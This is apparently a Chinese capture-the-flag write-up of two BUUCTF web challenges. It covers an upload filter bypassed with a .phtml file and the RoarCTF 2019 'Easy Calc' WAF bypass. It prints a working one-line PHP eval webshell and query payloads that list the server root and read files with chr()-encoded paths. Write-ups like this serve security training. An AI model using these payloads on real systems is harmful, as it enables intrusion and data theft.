题目地址:BUUCTF在线评测
给了个上传文件框,
上传个图片马,抓包分析时,发现过滤了很多后缀名:php,php3、php4、php5、pht,
但是phtml没被过滤,可以利用。
一句话木马如下:
GIF89a? <script language="php">eval($_POST['2'])</script>
因为过滤了<?,没办法使用最简单的 一句话木马。
访问/upload,成功找到刚刚上传的phtml文件。
蚁剑链接,拿到flag:
[RoarCTF 2019]Easy Calc
访问源码,有个calc.php,访问得到源代码。
分析:首先是有个waf对输入的字符进行检测过滤的,如果对num赋予字母,会报错,但如果num前面加上空格,waf就检测不到”num“,而是“ num”,接着不管对num赋字母即不会报错:
接着使用scandir()
函数返回指定目录中的文件和目录的数组,var_dump用来输出该数组。
? num=var_dump(scandir(chr(47)))
等价于
? num=system(ls /)
得知flag在f1agg文件里面。最后使用file_get_contents函数获取文件,拿到flag。
? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))